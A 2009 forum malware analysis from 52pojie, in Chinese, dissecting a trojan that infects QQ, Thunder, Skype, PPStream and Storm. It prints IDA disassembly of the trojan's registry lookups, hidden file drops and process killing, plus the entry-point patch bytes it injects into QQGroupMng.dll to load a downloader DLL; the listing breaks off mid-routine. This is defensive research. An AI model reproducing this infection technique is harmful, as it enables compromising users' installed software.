吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 46479|回复: 100
收起左侧

[PC样本分析] 吾爱破解周年献礼----分析感染QQ,迅雷,Skype,PPStream等软件的木马

  [复制链接]
zzage 发表于 2009-3-12 18:28
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
【文章标题】分析感染QQ,迅雷,Skype,PPStream等软件的木马
【文章作者】ZzAge
【文章目标】某木马
【相关工具】IDA
【作者 Q Q】85400516
【作者邮箱】zzage@163.com
【作者主页】http://hi.baidu.com/zzage
【文章日期】2009年03月12日

其实我是标题党,这木马只是修改QQ,QQ游戏,迅雷,Skype,PPStream,暴风影音的DLL文件,然后加载木马的DLL文件~从网络上下载木马!
但是传播得比较厉害的话,危害还是有点儿大的,毕竟QQ,迅雷等这些软件大多机器都会有安装的...

一,查找注册表,获取要感染的软件路径!

HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\Applications\\PPStream.exe\\shell\\open\\comm
HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\Applications\\Storm.exe\\shell\\open\\command
HKEY_LOCAL_MACHINE\\SOFTWARE\\Tencent\\QQ\\Install
HKEY_LOCAL_MACHINE\\SOFTWARE\\Tencent\\QQ2009\\Install
HKEY_LOCAL_MACHINE\\SOFTWARE\\Tencent\\QQGame\\SYS\\GameDirectory
HKEY_LOCAL_MACHINE\\SOFTWARE\\Skype\\Phone\\SkypePath
HKEY_LOCAL_MACHINE\\SOFTWARE\\Thunder Network\\ThunderOem\\thunder_backwnd\\Path
.nsp0:00401250                 push    ecx
.nsp0:00401251                 push    esi
.nsp0:00401252                 mov     esi, [esp+8+hKey]
.nsp0:00401256                 cmp     esi, 6          ; switch 7 cases
.nsp0:00401259                 mov     [esp+8+cbData], 400h
.nsp0:00401261                 ja      loc_401331      ; default
.nsp0:00401267                 jmp     off_401428[esi*4] ; switch jump
.nsp0:0040126E
.nsp0:0040126E loc_40126E:                             ; DATA XREF: .nsp0:off_401428o
.nsp0:0040126E                 lea     eax, [esp+8+hKey] ; jumptable 00401267 case 5
.nsp0:00401272                 push    eax             ; phkResult
.nsp0:00401273                 push    1               ; samDesired
.nsp0:00401275                 push    0               ; ulOptions
.nsp0:00401277                 push    offset SubKey   ; "SOFTWARE\\Classes\\Applications\\PPStream."...
.nsp0:0040127C                 push    80000002h       ; hKey
.nsp0:00401281                 call    RegOpenKeyExW
.nsp0:00401287                 jmp     loc_401335
.nsp0:0040128C ; ---------------------------------------------------------------------------
.nsp0:0040128C
.nsp0:0040128C loc_40128C:                             ; CODE XREF: sub_401250+17j
.nsp0:0040128C                                         ; DATA XREF: .nsp0:off_401428o ...
.nsp0:0040128C                 lea     ecx, [esp+8+hKey] ; jumptable 00401267 case 4
.nsp0:00401290                 push    ecx             ; phkResult
.nsp0:00401291                 push    1               ; samDesired
.nsp0:00401293                 push    0               ; ulOptions
.nsp0:00401295                 push    offset aSoftwareClas_0 ; "SOFTWARE\\Classes\\Applications\\Storm.exe"...
.nsp0:0040129A                 push    80000002h       ; hKey
.nsp0:0040129F                 call    RegOpenKeyExW
.nsp0:004012A5                 jmp     loc_401335
.nsp0:004012AA ; ---------------------------------------------------------------------------
.nsp0:004012AA
.nsp0:004012AA loc_4012AA:                             ; CODE XREF: sub_401250+17j
.nsp0:004012AA                                         ; DATA XREF: .nsp0:off_401428o
.nsp0:004012AA                 lea     edx, [esp+8+hKey] ; jumptable 00401267 case 0
.nsp0:004012AE                 push    edx             ; phkResult
.nsp0:004012AF                 push    1               ; samDesired
.nsp0:004012B1                 push    0               ; ulOptions
.nsp0:004012B3                 push    offset aSoftwareTencen ; "SOFTWARE\\Tencent\\QQ"
.nsp0:004012B8                 push    80000002h       ; hKey
.nsp0:004012BD                 call    RegOpenKeyExW
.nsp0:004012C3                 jmp     short loc_401335
.nsp0:004012C5 ; ---------------------------------------------------------------------------
.nsp0:004012C5
.nsp0:004012C5 loc_4012C5:                             ; CODE XREF: sub_401250+17j
.nsp0:004012C5                                         ; DATA XREF: .nsp0:off_401428o
.nsp0:004012C5                 lea     eax, [esp+8+hKey] ; jumptable 00401267 case 1
.nsp0:004012C9                 push    eax             ; phkResult
.nsp0:004012CA                 push    1               ; samDesired
.nsp0:004012CC                 push    0               ; ulOptions
.nsp0:004012CE                 push    offset aSoftwareTenc_0 ; "SOFTWARE\\Tencent\\QQ2009"
.nsp0:004012D3                 push    80000002h       ; hKey
.nsp0:004012D8                 call    RegOpenKeyExW
.nsp0:004012DE                 jmp     short loc_401335
.nsp0:004012E0 ; ---------------------------------------------------------------------------
.nsp0:004012E0
.nsp0:004012E0 loc_4012E0:                             ; CODE XREF: sub_401250+17j
.nsp0:004012E0                                         ; DATA XREF: .nsp0:off_401428o
.nsp0:004012E0                 lea     ecx, [esp+8+hKey] ; jumptable 00401267 case 2
.nsp0:004012E4                 push    ecx             ; phkResult
.nsp0:004012E5                 push    1               ; samDesired
.nsp0:004012E7                 push    0               ; ulOptions
.nsp0:004012E9                 push    offset aSoftwareTenc_1 ; "SOFTWARE\\Tencent\\QQGame\\SYS"
.nsp0:004012EE                 push    80000002h       ; hKey
.nsp0:004012F3                 call    RegOpenKeyExW
.nsp0:004012F9                 jmp     short loc_401335
.nsp0:004012FB ; ---------------------------------------------------------------------------
.nsp0:004012FB
.nsp0:004012FB loc_4012FB:                             ; CODE XREF: sub_401250+17j
.nsp0:004012FB                                         ; DATA XREF: .nsp0:off_401428o
.nsp0:004012FB                 lea     edx, [esp+8+hKey] ; jumptable 00401267 case 3
.nsp0:004012FF                 push    edx             ; phkResult
.nsp0:00401300                 push    1               ; samDesired
.nsp0:00401302                 push    0               ; ulOptions
.nsp0:00401304                 push    offset aSoftwareSkypeP ; "SOFTWARE\\Skype\\Phone"
.nsp0:00401309                 push    80000002h       ; hKey
.nsp0:0040130E                 call    RegOpenKeyExW
.nsp0:00401314                 jmp     short loc_401335
.nsp0:00401316 ; ---------------------------------------------------------------------------
.nsp0:00401316
.nsp0:00401316 loc_401316:                             ; CODE XREF: sub_401250+17j
.nsp0:00401316                                         ; DATA XREF: .nsp0:off_401428o
.nsp0:00401316                 lea     eax, [esp+8+hKey] ; jumptable 00401267 case 6
.nsp0:0040131A                 push    eax             ; phkResult
.nsp0:0040131B                 push    1               ; samDesired
.nsp0:0040131D                 push    0               ; ulOptions
.nsp0:0040131F                 push    offset aSoftwareThunde ; "SOFTWARE\\Thunder Network\\ThunderOem\\thu"...
.nsp0:00401324                 push    80000002h       ; hKey
.nsp0:00401329                 call    RegOpenKeyExW
.nsp0:0040132F                 jmp     short loc_401335
.nsp0:00401331 ; ---------------------------------------------------------------------------
.nsp0:00401331
.nsp0:00401331 loc_401331:                             ; CODE XREF: sub_401250+11j
.nsp0:00401331                 mov     eax, [esp+8+hKey] ; default
.nsp0:00401335
.nsp0:00401335 loc_401335:                             ; CODE XREF: sub_401250+37j
.nsp0:00401335                                         ; sub_401250+55j ...
.nsp0:00401335                 test    eax, eax
.nsp0:00401337                 jnz     loc_40141B
.nsp0:0040133D                 cmp     esi, 6          ; switch 7 cases
.nsp0:00401340                 ja      loc_4013FE      ; default
.nsp0:00401346                 jmp     off_401444[esi*4] ; switch jump
.nsp0:0040134D
.nsp0:0040134D loc_40134D:                             ; DATA XREF: .nsp0:off_401444o
.nsp0:0040134D                 mov     edx, dword_40AAA0 ; jumptable 00401346 case 5
.nsp0:00401353                 lea     ecx, [esp+8+cbData]
.nsp0:00401357                 push    ecx
.nsp0:00401358                 push    edx
.nsp0:00401359                 push    0
.nsp0:0040135B                 push    0
.nsp0:0040135D                 push    offset dword_40AABC
.nsp0:00401362                 jmp     loc_4013EF
.nsp0:00401367 ; ---------------------------------------------------------------------------
.nsp0:00401367
.nsp0:00401367 loc_401367:                             ; CODE XREF: sub_401250+F6j
.nsp0:00401367                                         ; DATA XREF: .nsp0:off_401444o
.nsp0:00401367                 mov     edx, Str        ; jumptable 00401346 case 4
.nsp0:0040136D                 lea     ecx, [esp+8+cbData]
.nsp0:00401371                 push    ecx
.nsp0:00401372                 push    edx
.nsp0:00401373                 push    0
.nsp0:00401375                 push    0
.nsp0:00401377                 push    offset dword_40AABC
.nsp0:0040137C                 jmp     short loc_4013EF
.nsp0:0040137E ; ---------------------------------------------------------------------------
.nsp0:0040137E
.nsp0:0040137E loc_40137E:                             ; CODE XREF: sub_401250+F6j
.nsp0:0040137E                                         ; DATA XREF: .nsp0:off_401444o
.nsp0:0040137E                 mov     edx, lpFileName ; jumptable 00401346 case 0
.nsp0:00401384                 lea     ecx, [esp+8+cbData]
.nsp0:00401388                 push    ecx
.nsp0:00401389                 push    edx
.nsp0:0040138A                 push    0
.nsp0:0040138C                 push    0
.nsp0:0040138E                 push    offset aInstall ; "Install"
.nsp0:00401393                 jmp     short loc_4013EF
.nsp0:00401395 ; ---------------------------------------------------------------------------
.nsp0:00401395
.nsp0:00401395 loc_401395:                             ; CODE XREF: sub_401250+F6j
.nsp0:00401395                                         ; DATA XREF: .nsp0:off_401444o
.nsp0:00401395                 mov     edx, dword_40AAB4 ; jumptable 00401346 case 1
.nsp0:0040139B                 lea     ecx, [esp+8+cbData]
.nsp0:0040139F                 push    ecx
.nsp0:004013A0                 push    edx
.nsp0:004013A1                 push    0
.nsp0:004013A3                 push    0
.nsp0:004013A5                 push    offset aInstall ; "Install"
.nsp0:004013AA                 jmp     short loc_4013EF
.nsp0:004013AC ; ---------------------------------------------------------------------------
.nsp0:004013AC
.nsp0:004013AC loc_4013AC:                             ; CODE XREF: sub_401250+F6j
.nsp0:004013AC                                         ; DATA XREF: .nsp0:off_401444o
.nsp0:004013AC                 mov     edx, dword_40AAB0 ; jumptable 00401346 case 2
.nsp0:004013B2                 lea     ecx, [esp+8+cbData]
.nsp0:004013B6                 push    ecx
.nsp0:004013B7                 push    edx
.nsp0:004013B8                 push    0
.nsp0:004013BA                 push    0
.nsp0:004013BC                 push    offset aGamedirectory ; "GameDirectory"
.nsp0:004013C1                 jmp     short loc_4013EF
.nsp0:004013C3 ; ---------------------------------------------------------------------------
.nsp0:004013C3
.nsp0:004013C3 loc_4013C3:                             ; CODE XREF: sub_401250+F6j
.nsp0:004013C3                                         ; DATA XREF: .nsp0:off_401444o
.nsp0:004013C3                 mov     edx, dword_40AAAC ; jumptable 00401346 case 3
.nsp0:004013C9                 lea     ecx, [esp+8+cbData]
.nsp0:004013CD                 push    ecx
.nsp0:004013CE                 push    edx
.nsp0:004013CF                 push    0
.nsp0:004013D1                 push    0
.nsp0:004013D3                 push    offset aSkypepath ; "SkypePath"
.nsp0:004013D8                 jmp     short loc_4013EF
.nsp0:004013DA ; ---------------------------------------------------------------------------
.nsp0:004013DA
.nsp0:004013DA loc_4013DA:                             ; CODE XREF: sub_401250+F6j
.nsp0:004013DA                                         ; DATA XREF: .nsp0:off_401444o
.nsp0:004013DA                 mov     edx, lpData     ; jumptable 00401346 case 6
.nsp0:004013E0                 lea     ecx, [esp+8+cbData]
.nsp0:004013E4                 push    ecx             ; lpcbData
.nsp0:004013E5                 push    edx             ; lpData
.nsp0:004013E6                 push    0               ; lpType
.nsp0:004013E8                 push    0               ; lpReserved
.nsp0:004013EA                 push    offset ValueName ; "Path"
.nsp0:004013EF
.nsp0:004013EF loc_4013EF:                             ; CODE XREF: sub_401250+112j
.nsp0:004013EF                                         ; sub_401250+12Cj ...
.nsp0:004013EF                 mov     eax, [esp+1Ch+hKey]
.nsp0:004013F3                 push    eax             ; hKey
.nsp0:004013F4                 call    RegQueryValueExW
.nsp0:004013FA                 test    eax, eax
.nsp0:004013FC                 jnz     short loc_401421
.nsp0:004013FE
.nsp0:004013FE loc_4013FE:                             ; CODE XREF: sub_401250+F0j
.nsp0:004013FE                 cmp     [esp+8+cbData], 100h ; default
.nsp0:00401406                 ja      short loc_401421
.nsp0:00401408                 mov     ecx, [esp+8+hKey]
.nsp0:0040140C                 push    ecx             ; hKey
.nsp0:0040140D                 call    RegCloseKey
.nsp0:00401413                 mov     eax, 1
.nsp0:00401418                 pop     esi
.nsp0:00401419                 pop     ecx
.nsp0:0040141A                 retn
.nsp0:0040141B ; ---------------------------------------------------------------------------
.nsp0:0040141B
.nsp0:0040141B loc_40141B:                             ; CODE XREF: sub_401250+E7j
.nsp0:0040141B                 call    GetLastError
.nsp0:00401421
.nsp0:00401421 loc_401421:                             ; CODE XREF: sub_401250+1ACj
.nsp0:00401421                                         ; sub_401250+1B6j
.nsp0:00401421                 xor     eax, eax
.nsp0:00401423                 pop     esi
.nsp0:00401424                 pop     ecx
.nsp0:00401425                 retn
二:释放以下两个文件,并设置文件属性为隐藏

C:\\WINDOWS\\temp\\uninstaller.exe
C:\\WINDOWS\\temp\\playList0.dat
.nsp0:00401560                 push    ecx
.nsp0:00401561                 push    ebx
.nsp0:00401562                 mov     ebx, [esp+8+dwShareMode]
.nsp0:00401566                 push    ebp
.nsp0:00401567                 push    esi
.nsp0:00401568                 test    ebx, ebx
.nsp0:0040156A                 push    edi
.nsp0:0040156B                 jnz     short loc_40157C
.nsp0:0040156D                 mov     eax, hModule
.nsp0:00401572                 push    offset Type     ; "BINARY"
.nsp0:00401577                 push    65h
.nsp0:00401579                 push    eax
.nsp0:0040157A                 jmp     short loc_401593
.nsp0:0040157C ; ---------------------------------------------------------------------------
.nsp0:0040157C
.nsp0:0040157C loc_40157C:                             ; CODE XREF: sub_401560+Bj
.nsp0:0040157C                 cmp     ebx, 1
.nsp0:0040157F                 jnz     loc_40167A
.nsp0:00401585                 mov     ecx, hModule
.nsp0:0040158B                 push    offset Type     ; "BINARY"
.nsp0:00401590                 push    66h             ; lpName
.nsp0:00401592                 push    ecx             ; hModule
.nsp0:00401593
.nsp0:00401593 loc_401593:                             ; CODE XREF: sub_401560+1Aj
.nsp0:00401593                 call    FindResourceA
.nsp0:00401599                 mov     esi, eax
.nsp0:0040159B                 test    esi, esi
.nsp0:0040159D                 jz      loc_40167A
.nsp0:004015A3                 mov     edx, hModule
.nsp0:004015A9                 push    esi             ; hResInfo
.nsp0:004015AA                 push    edx             ; hModule
.nsp0:004015AB                 call    LoadResource
.nsp0:004015B1                 mov     edi, eax
.nsp0:004015B3                 test    edi, edi
.nsp0:004015B5                 jz      loc_40167A
.nsp0:004015BB                 mov     eax, hModule
.nsp0:004015C0                 push    esi             ; hResInfo
.nsp0:004015C1                 push    eax             ; hModule
.nsp0:004015C2                 call    SizeofResource
.nsp0:004015C8                 push    edi             ; hResData
.nsp0:004015C9                 mov     ebp, eax
.nsp0:004015CB                 call    LockResource
.nsp0:004015D1                 test    ebx, ebx
.nsp0:004015D3                 mov     esi, eax
.nsp0:004015D5                 jnz     short loc_4015EE
.nsp0:004015D7                 push    ebx
.nsp0:004015D8                 push    80h
.nsp0:004015DD                 push    2
.nsp0:004015DF                 push    ebx
.nsp0:004015E0                 push    1
.nsp0:004015E2                 push    0C0000000h
.nsp0:004015E7                 push    offset aCWindowsTempPl ; "C:\\WINDOWS\\temp\\playList0.dat"
.nsp0:004015EC                 jmp     short loc_40160D
.nsp0:004015EE ; ---------------------------------------------------------------------------
.nsp0:004015EE
.nsp0:004015EE loc_4015EE:                             ; CODE XREF: sub_401560+75j
.nsp0:004015EE                 cmp     ebx, 1
.nsp0:004015F1                 jnz     loc_40167A
.nsp0:004015F7                 push    0               ; hTemplateFile
.nsp0:004015F9                 push    80h             ; dwFlagsAndAttributes
.nsp0:004015FE                 push    2               ; dwCreationDisposition
.nsp0:00401600                 push    0               ; lpSecurityAttributes
.nsp0:00401602                 push    ebx             ; dwShareMode
.nsp0:00401603                 push    0C0000000h      ; dwDesiredAccess
.nsp0:00401608                 push    offset FileName ; "C:\\WINDOWS\\temp\\uninstaller.exe"
.nsp0:0040160D
.nsp0:0040160D loc_40160D:                             ; CODE XREF: sub_401560+8Cj
.nsp0:0040160D                 call    CreateFileW
.nsp0:00401613                 mov     ecx, ebp
.nsp0:00401615                 dec     ebp
.nsp0:00401616                 test    ecx, ecx
.nsp0:00401618                 mov     edi, eax
.nsp0:0040161A                 jz      short loc_40163A
.nsp0:0040161C                 lea     ebx, [ebp+1]
.nsp0:0040161F                 mov     ebp, WriteFile
.nsp0:00401625
.nsp0:00401625 loc_401625:                             ; CODE XREF: sub_401560+D4j
.nsp0:00401625                 lea     edx, [esp+14h+NumberOfBytesWritten]
.nsp0:00401629                 push    0               ; lpOverlapped
.nsp0:0040162B                 push    edx             ; lpNumberOfBytesWritten
.nsp0:0040162C                 push    1               ; nNumberOfBytesToWrite
.nsp0:0040162E                 push    esi             ; lpBuffer
.nsp0:0040162F                 push    edi             ; hFile
.nsp0:00401630                 call    ebp ; WriteFile
.nsp0:00401632                 inc     esi
.nsp0:00401633                 dec     ebx
.nsp0:00401634                 jnz     short loc_401625
.nsp0:00401636                 mov     ebx, [esp+14h+dwShareMode]
.nsp0:0040163A
.nsp0:0040163A loc_40163A:                             ; CODE XREF: sub_401560+BAj
.nsp0:0040163A                 push    edi             ; hObject
.nsp0:0040163B                 call    CloseHandle
.nsp0:00401641                 test    ebx, ebx
.nsp0:00401643                 jnz     short loc_40165D
.nsp0:00401645                 push    2               ; dwFileAttributes
.nsp0:00401647                 push    offset aCWindowsTempPl ; "C:\\WINDOWS\\temp\\playList0.dat"
.nsp0:0040164C                 call    SetFileAttributesW
.nsp0:00401652                 pop     edi
.nsp0:00401653                 pop     esi
.nsp0:00401654                 pop     ebp
.nsp0:00401655                 mov     eax, 1
.nsp0:0040165A                 pop     ebx
.nsp0:0040165B                 pop     ecx
.nsp0:0040165C                 retn
.nsp0:0040165D ; ---------------------------------------------------------------------------
.nsp0:0040165D
.nsp0:0040165D loc_40165D:                             ; CODE XREF: sub_401560+E3j
.nsp0:0040165D                 cmp     ebx, 1
.nsp0:00401660                 jnz     short loc_40166F
.nsp0:00401662                 push    2               ; dwFileAttributes
.nsp0:00401664                 push    offset FileName ; "C:\\WINDOWS\\temp\\uninstaller.exe"
.nsp0:00401669                 call    SetFileAttributesW
.nsp0:0040166F
.nsp0:0040166F loc_40166F:                             ; CODE XREF: sub_401560+100j
.nsp0:0040166F                 pop     edi
.nsp0:00401670                 pop     esi
.nsp0:00401671                 pop     ebp
.nsp0:00401672                 mov     eax, 1
.nsp0:00401677                 pop     ebx
.nsp0:00401678                 pop     ecx
.nsp0:00401679                 retn
.nsp0:0040167A ; ---------------------------------------------------------------------------
.nsp0:0040167A
.nsp0:0040167A loc_40167A:                             ; CODE XREF: sub_401560+1Fj
.nsp0:0040167A                                         ; sub_401560+3Dj ...
.nsp0:0040167A                 pop     edi
.nsp0:0040167B                 pop     esi
.nsp0:0040167C                 pop     ebp
.nsp0:0040167D                 xor     eax, eax
.nsp0:0040167F                 pop     ebx
.nsp0:00401680                 pop     ecx
.nsp0:00401681                 retn
三:建立进程快照,查找是否有以下进程,有则关闭进程!
qq.exe,skype.exe,storm.exe,ppstream.exe,thunder5.exe,ppsap.exe
.nsp0:00401460                 push    ecx
.nsp0:00401461                 push    esi
.nsp0:00401462                 push    edi
.nsp0:00401463                 push    128h            ; unsigned int
.nsp0:00401468                 call    ??2@YAPAXI@Z    ; operator new(uint)
.nsp0:0040146D                 add     esp, 4
.nsp0:00401470                 mov     edi, eax
.nsp0:00401472                 push    0               ; th32ProcessID
.nsp0:00401474                 push    2               ; dwFlags
.nsp0:00401476                 call    CreateToolhelp32Snapshot
.nsp0:0040147B                 mov     esi, eax
.nsp0:0040147D                 push    edi             ; lppe
.nsp0:0040147E                 push    esi             ; hSnapshot
.nsp0:0040147F                 mov     [esp+14h+hSnapshot], esi
.nsp0:00401483                 mov     dword ptr [edi], 128h
.nsp0:00401489                 call    Process32First
.nsp0:0040148E                 test    eax, eax
.nsp0:00401490                 jz      loc_40154D
.nsp0:00401496                 call    GetLastError
.nsp0:0040149C                 cmp     eax, 12h
.nsp0:0040149F                 jz      loc_401554
.nsp0:004014A5                 push    ebx
.nsp0:004014A6                 mov     ebx, OpenProcess
.nsp0:004014AC                 push    ebp
.nsp0:004014AD                 mov     ebp, TerminateProcess
.nsp0:004014B3                 lea     esi, [edi+24h]
.nsp0:004014B6
.nsp0:004014B6 loc_4014B6:                             ; CODE XREF: sub_401460+E1j
.nsp0:004014B6                 push    esi
.nsp0:004014B7                 push    offset dword_40830C
.nsp0:004014BC                 call    unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
.nsp0:004014C1                 add     esp, 8
.nsp0:004014C4                 test    eax, eax
.nsp0:004014C6                 jz      short loc_401522
.nsp0:004014C8                 push    esi
.nsp0:004014C9                 push    offset dword_408300
.nsp0:004014CE                 call    unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
.nsp0:004014D3                 add     esp, 8
.nsp0:004014D6                 test    eax, eax
.nsp0:004014D8                 jz      short loc_401522
.nsp0:004014DA                 push    esi
.nsp0:004014DB                 push    offset dword_4082F4
.nsp0:004014E0                 call    unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
.nsp0:004014E5                 add     esp, 8
.nsp0:004014E8                 test    eax, eax
.nsp0:004014EA                 jz      short loc_401522
.nsp0:004014EC                 push    esi
.nsp0:004014ED                 push    offset dword_4082E4
.nsp0:004014F2                 call    unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
.nsp0:004014F7                 add     esp, 8
.nsp0:004014FA                 test    eax, eax
.nsp0:004014FC                 jz      short loc_401522
.nsp0:004014FE                 push    esi
.nsp0:004014FF                 push    offset dword_4082D4
.nsp0:00401504                 call    unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
.nsp0:00401509                 add     esp, 8
.nsp0:0040150C                 test    eax, eax
.nsp0:0040150E                 jz      short loc_401522
.nsp0:00401510                 push    esi
.nsp0:00401511                 push    offset dword_4082C8
.nsp0:00401516                 call    unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
.nsp0:0040151B                 add     esp, 8
.nsp0:0040151E                 test    eax, eax
.nsp0:00401520                 jnz     short loc_401534
.nsp0:00401522
.nsp0:00401522 loc_401522:                             ; CODE XREF: sub_401460+66j
.nsp0:00401522                                         ; sub_401460+78j ...
.nsp0:00401522                 mov     eax, [edi+8]
.nsp0:00401525                 push    eax             ; dwProcessId
.nsp0:00401526                 push    0               ; bInheritHandle
.nsp0:00401528                 push    1F0FFFh         ; dwDesiredAccess
.nsp0:0040152D                 call    ebx ; OpenProcess
.nsp0:0040152F                 push    0               ; uExitCode
.nsp0:00401531                 push    eax             ; hProcess
.nsp0:00401532                 call    ebp ; TerminateProcess
.nsp0:00401534
.nsp0:00401534 loc_401534:                             ; CODE XREF: sub_401460+C0j
.nsp0:00401534                 mov     ecx, [esp+14h+hSnapshot]
.nsp0:00401538                 push    edi             ; lppe
.nsp0:00401539                 push    ecx             ; hSnapshot
.nsp0:0040153A                 call    Process32Next
.nsp0:0040153F                 test    eax, eax
.nsp0:00401541                 jnz     loc_4014B6
.nsp0:00401547                 mov     esi, [esp+14h+hSnapshot]
.nsp0:0040154B                 pop     ebp
.nsp0:0040154C                 pop     ebx
.nsp0:0040154D
.nsp0:0040154D loc_40154D:                             ; CODE XREF: sub_401460+30j
.nsp0:0040154D                 push    esi             ; hObject
.nsp0:0040154E                 call    CloseHandle
.nsp0:00401554
.nsp0:00401554 loc_401554:                             ; CODE XREF: sub_401460+3Fj
.nsp0:00401554                 pop     edi
.nsp0:00401555                 pop     esi
.nsp0:00401556                 pop     ecx
.nsp0:00401557                 retn
四:以QQ为例子,(其他软件实现手段也同样类似,只是修改的偏移不一样)木马会查找到QQ的目录下的QQGroupMng.dll的文件,然后修改它,修改地方有两处!

1:在入口处,写入数据,使它跳向他的在第二处的地方写入的数据的地方
6198F9E2   . /E9 EBA80000   jmp     6199A2D2
2:此处的代码作用是调用LoadLibraryA加载目录下的tmweotu.cfw(文件名随即生成)文件
6199A2D2   > \68 771D807C   push    kernel32.LoadLibraryA
6199A2D7   .  E8 0C000000   call    6199A2E8                         ;  PUSH ASCII "tmweotu.cfw"
6199A2DC   .  74 6D 77 65 6>ascii   "tmweotu.cfw",0
6199A2E8   >  36:FF5424 04  call    dword ptr [esp+4]
6199A2ED   .  83C4 04       add     esp, 4
6199A2F0   .  53            push    ebx
6199A2F1   .  8B5D 08       mov     ebx, dword ptr [ebp+8]
6199A2F4   .  56            push    esi
6199A2F5   .^ E9 ED56FFFF   jmp     6198F9E7
3:找到要感染的软件的DLL文件,然后写进感染代码,这里以QQ为例子,是修改QQGroupMng.dll文件,然后把C:\\WINDOWS\\temp\\playList0.dat文件复制到QQ目录下,文件名与以上随即生成的文件名一致!,这样只要启动QQ加载QQGroupMng.dll,同时也会加载tmweotu.cfw文件,然后从网络上下载木马!
.nsp0:00401990                 sub     esp, 218h
.nsp0:00401996                 push    ebx
.nsp0:00401997                 push    ebp
.nsp0:00401998                 push    esi
.nsp0:00401999                 push    edi
.nsp0:0040199A                 xor     ebp, ebp
.nsp0:0040199C                 mov     ecx, 7Fh
.nsp0:004019A1                 xor     eax, eax
.nsp0:004019A3                 lea     edi, [esp+228h+var_1FE]
.nsp0:004019A7                 mov     [esp+228h+Str], bp
.nsp0:004019AC                 push    0Bh
.nsp0:004019AE                 rep stosd
.nsp0:004019B0                 stosw
.nsp0:004019B2                 xor     eax, eax
.nsp0:004019B4                 lea     ecx, [esp+22Ch+Source]
.nsp0:004019B8                 mov     [esp+22Ch+var_216], eax
.nsp0:004019BC                 push    ecx
.nsp0:004019BD                 mov     [esp+230h+var_212], eax
.nsp0:004019C1                 xor     esi, esi
.nsp0:004019C3                 mov     [esp+230h+var_20E], eax
.nsp0:004019C7                 xor     ebx, ebx
.nsp0:004019C9                 mov     [esp+230h+var_20A], eax
.nsp0:004019CD                 mov     [esp+230h+Source], bp
.nsp0:004019D2                 mov     [esp+230h+var_206], eax
.nsp0:004019D6                 call    sub_4011E0
.nsp0:004019DB                 mov     eax, [esp+230h+arg_0]
.nsp0:004019E2                 add     esp, 8
.nsp0:004019E5                 cmp     eax, 6          ; switch 7 cases
.nsp0:004019E8                 ja      loc_401E14      ; default
.nsp0:004019EE                 jmp     off_401E4C[eax*4] ; switch jump
.nsp0:004019F5
.nsp0:004019F5 loc_4019F5:                             ; DATA XREF: .nsp0:off_401E4Co
.nsp0:004019F5                 mov     edx, lpFileName ; jumptable 004019EE case 0
.nsp0:004019FB                 push    1               ; char
.nsp0:004019FD                 push    edx             ; lpFileName
.nsp0:004019FE                 call    sub_401960
.nsp0:00401A03                 add     esp, 8
.nsp0:00401A06                 test    al, al
.nsp0:00401A08                 jz      loc_401E14      ; default
.nsp0:00401A0E                 mov     eax, lpFileName
.nsp0:00401A13                 lea     ecx, [esp+228h+Str]
.nsp0:00401A17                 push    eax             ; Source
.nsp0:00401A18                 push    ecx             ; Dest
.nsp0:00401A19                 call    _wcscat
.nsp0:00401A1E                 mov     edx, lpFileName
.nsp0:00401A24                 push    offset aQqgroupmng_dll ; "\\QQGroupMng.dll"
.nsp0:00401A29                 push    edx             ; Dest
.nsp0:00401A2A                 call    _wcscat
.nsp0:00401A2F                 mov     edi, Sleep
.nsp0:00401A35                 add     esp, 10h
.nsp0:00401A38
.nsp0:00401A38 loc_401A38:                             ; CODE XREF: sub_401990+CCj
.nsp0:00401A38                 cmp     ebx, 32h
.nsp0:00401A3B                 jge     short loc_401A60
.nsp0:00401A3D                 mov     ecx, lpFileName
.nsp0:00401A43                 lea     eax, [esp+228h+Source]
.nsp0:00401A47                 push    eax             ; int
.nsp0:00401A48                 push    64h             ; lDistanceToMove
.nsp0:00401A4A                 push    ecx             ; lpFileName
.nsp0:00401A4B                 call    sub_401690
.nsp0:00401A50                 add     esp, 0Ch
.nsp0:00401A53                 mov     esi, eax
.nsp0:00401A55                 inc     ebx
.nsp0:00401A56                 push    0Ah             ; dwMilliseconds
.nsp0:00401A58                 call    edi ; Sleep
.nsp0:00401A5A                 cmp     esi, ebp
.nsp0:00401A5C                 jz      short loc_401A38
.nsp0:00401A5E                 jmp     short loc_401A68
.nsp0:00401A60 ; ---------------------------------------------------------------------------
.nsp0:00401A60
.nsp0:00401A60 loc_401A60:                             ; CODE XREF: sub_401990+ABj
.nsp0:00401A60                 cmp     esi, ebp
.nsp0:00401A62                 jz      loc_401E14      ; default
.nsp0:00401A68
.nsp0:00401A68 loc_401A68:                             ; CODE XREF: sub_401990+CEj
.nsp0:00401A68                 lea     edx, [esp+228h+Str]
.nsp0:00401A6C                 push    offset word_4084A0 ; Source
.nsp0:00401A71                 push    edx             ; Dest
.nsp0:00401A72                 call    _wcscat
.nsp0:00401A77                 lea     eax, [esp+230h+Source]
.nsp0:00401A7B                 lea     ecx, [esp+230h+Str]
.nsp0:00401A7F                 push    eax
.nsp0:00401A80                 push    ecx
.nsp0:00401A81                 jmp     loc_401E0C
.nsp0:00401A86 ; ---------------------------------------------------------------------------
.nsp0:00401A86
.nsp0:00401A86 loc_401A86:                             ; CODE XREF: sub_401990+5Ej
.nsp0:00401A86                                         ; DATA XREF: .nsp0:off_401E4Co
.nsp0:00401A86                 mov     edx, dword_40AAB4 ; jumptable 004019EE case 1
.nsp0:00401A8C                 push    1               ; char
.nsp0:00401A8E                 push    edx             ; lpFileName
.nsp0:00401A8F                 call    sub_401960
.nsp0:00401A94                 add     esp, 8
.nsp0:00401A97                 test    al, al
.nsp0:00401A99                 jz      loc_401E14      ; default
.nsp0:00401A9F                 mov     eax, dword_40AAB4
